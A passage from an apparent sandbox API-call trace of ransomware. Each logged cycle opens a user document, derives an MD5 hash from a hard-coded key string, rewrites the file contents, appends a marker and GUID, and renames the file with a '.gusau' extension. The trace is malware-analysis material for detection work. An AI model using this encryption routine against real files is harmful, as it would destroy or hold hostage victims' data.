dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.930] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.931] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.931] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.931] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.931] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x13bb6, lpOverlapped=0x0) returned 1 [0118.932] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.932] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.933] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.933] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.933] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0118.933] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.933] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.933] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.933] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.933] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.934] GetLastError () returned 0x0 [0118.934] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.934] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0118.934] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.934] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x13bc0) returned 0x39f9f20 [0118.934] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.934] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.934] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x13bb1, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x13bb1, lpOverlapped=0x0) returned 1 [0118.934] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.934] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x13bb6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.935] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.935] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.935] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.935] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.935] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.935] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.935] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.935] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.935] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.935] CloseHandle (hObject=0x610) returned 1 [0118.936] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930420 [0118.936] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8b0) returned 0x39f4ef8 [0118.936] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930420 | out: hHeap=0xd10000) returned 1 [0118.936] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\c7w3Be_K.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\c7w3be_k.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\c7w3Be_K.pptx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\c7w3be_k.pptx.gusau")) returned 1 [0118.937] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.937] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.938] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0118.938] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacdca410, ftCreationTime.dwHighDateTime=0x1d4d381, ftLastAccessTime.dwLowDateTime=0xaecabc30, ftLastAccessTime.dwHighDateTime=0x1d4c54e, ftLastWriteTime.dwLowDateTime=0xaecabc30, ftLastWriteTime.dwHighDateTime=0x1d4c54e, nFileSizeHigh=0x0, nFileSizeLow=0x14e5c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dthjAR.odt", cAlternateFileName="")) returned 1 [0118.938] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0118.938] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd6) returned 0x38d05a0 [0118.938] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0118.938] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\dthjAR.odt") returned=".odt" [0118.938] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\dthjAR.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\dthjar.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.939] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=85596) returned 1 [0118.939] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.941] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x14e36, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.941] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.943] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.943] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.943] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.943] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x14e5c, lpOverlapped=0x0) returned 1 [0118.944] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.944] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.944] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.944] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.944] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0118.945] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.945] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.945] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.945] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.945] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.945] GetLastError () returned 0x0 [0118.945] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.945] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0118.945] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.945] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x14e60) returned 0x39f9f20 [0118.945] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.946] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.946] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x14e57, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x14e57, lpOverlapped=0x0) returned 1 [0118.946] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.946] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x14e5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.946] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.946] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.946] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.946] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.946] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.946] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.946] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.946] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.946] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.946] CloseHandle (hObject=0x610) returned 1 [0118.947] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974300 [0118.948] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8b0) returned 0x39f4ef8 [0118.948] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974300 | out: hHeap=0xd10000) returned 1 [0118.948] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\dthjAR.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\dthjar.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\dthjAR.odt.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\dthjar.odt.gusau")) returned 1 [0118.948] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.948] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.949] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0118.949] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf52fd70, ftCreationTime.dwHighDateTime=0x1d4ced5, ftLastAccessTime.dwLowDateTime=0x5e0637a0, ftLastAccessTime.dwHighDateTime=0x1d4cee7, ftLastWriteTime.dwLowDateTime=0x5e0637a0, ftLastWriteTime.dwHighDateTime=0x1d4cee7, nFileSizeHigh=0x0, nFileSizeLow=0xd9d6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOw3I9OnurIF0.pptx", cAlternateFileName="HOW3I9~1.PPT")) returned 1 [0118.949] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0118.949] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd6) returned 0x38d05a0 [0118.949] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0118.949] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\HOw3I9OnurIF0.pptx") returned=".pptx" [0118.949] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\HOw3I9OnurIF0.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\how3i9onurif0.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.950] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=55766) returned 1 [0118.950] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.952] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xd9b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.952] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.953] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.953] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.953] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.953] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xd9d6, lpOverlapped=0x0) returned 1 [0118.954] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.954] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.954] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.954] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.954] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0118.955] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.955] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.955] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.955] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.955] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.955] GetLastError () returned 0x0 [0118.955] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.955] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0118.955] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.955] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd9e0) returned 0x39f9f20 [0118.955] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.956] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0xd9d1, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0xd9d1, lpOverlapped=0x0) returned 1 [0118.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.956] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xd9d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.956] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.956] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.956] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.956] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.956] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.956] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.956] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.956] CloseHandle (hObject=0x610) returned 1 [0118.957] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930420 [0118.957] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8c0) returned 0x39f4ef8 [0118.957] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930420 | out: hHeap=0xd10000) returned 1 [0118.957] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\HOw3I9OnurIF0.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\how3i9onurif0.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\HOw3I9OnurIF0.pptx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\how3i9onurif0.pptx.gusau")) returned 1 [0118.958] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.958] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.959] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0118.959] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27e57930, ftCreationTime.dwHighDateTime=0x1d4d1ab, ftLastAccessTime.dwLowDateTime=0x76ea2410, ftLastAccessTime.dwHighDateTime=0x1d4d280, ftLastWriteTime.dwLowDateTime=0x76ea2410, ftLastWriteTime.dwHighDateTime=0x1d4d280, nFileSizeHigh=0x0, nFileSizeLow=0x62e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ieaOD_.odt", cAlternateFileName="")) returned 1 [0118.959] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0118.959] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd6) returned 0x38d05a0 [0118.959] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0118.959] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\ieaOD_.odt") returned=".odt" [0118.959] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\5T4sBt2\\ieaOD_.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\5t4sbt2\\ieaod_.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.959] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=1582) returned 1 [0118.959] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.962] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x608, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.962] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.963] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.963] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.963] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.963] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x62e, lpOverlapped=0x0) returned 1 [0118.964] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.964] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.964] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.964] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.964] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0118.965] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.965] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.965] 